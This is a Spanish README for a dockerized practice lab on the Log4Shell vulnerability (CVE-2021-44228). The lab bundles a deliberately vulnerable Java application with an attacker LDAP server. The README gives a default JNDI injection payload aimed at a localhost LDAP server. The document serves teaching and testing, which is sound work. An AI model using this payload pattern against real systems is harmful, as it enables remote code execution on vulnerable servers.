Entorno de laboratorio para la vulnerabilidad CVE-2021-44228 (Log4Shell)

Introducción

Este proyecto proporciona un entorno dockerizado para practicar y comprender de forma segura la crítica vulnerabilidad de Log4j conocida como CVE-2021-44228 (Log4Shell).

Características clave

• Entorno de pruebas dockerizado y seguro
• Capacidad de prueba de payloads personalizados
• Incluye el servidor LDAP del atacante y una aplicación Java vulnerable

Primeros pasos

docker compose up --build

Prueba de payloads

1. Puedes modificar el payload en la sección de pruebas de /vulnerable/Makefile
2. El payload predeterminado usa $${jndi:ldap://127.0.0.1:10000/}